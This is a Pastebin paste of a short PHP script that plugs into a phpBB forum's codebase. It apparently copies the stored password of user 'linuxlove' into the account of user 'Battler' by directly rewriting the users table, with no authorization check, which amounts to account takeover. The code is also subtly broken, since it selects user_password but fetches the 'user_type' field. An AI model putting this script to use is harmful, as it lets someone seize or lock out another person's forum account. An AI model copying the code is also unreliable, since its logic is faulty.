Advertisement
Guest User

Untitled

a guest
May 14th, 2017
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.58 KB | None | 0 0
  1. <?php /**
  2. * @ignore
  3. */
  4. define('IN_PHPBB', true);
  5. $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';
  6. $phpEx = substr(strrchr(__FILE__, '.'), 1);
  7. include($phpbb_root_path . 'common.' . $phpEx);
  8.  
  9.  
  10.  
  11. $sql = "SELECT user_password FROM " . USERS_TABLE . " WHERE username = 'linuxlove'";
  12. $db->sql_query($sql);
  13. $user_permissions = $db->sql_fetchfield('user_type');
  14. $sql = "UPDATE " . USERS_TABLE . " SET user_password = '" . $user_permissions . "' WHERE username = 'Battler'";
  15. $db->sql_query($sql);
  16. echo "done";
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement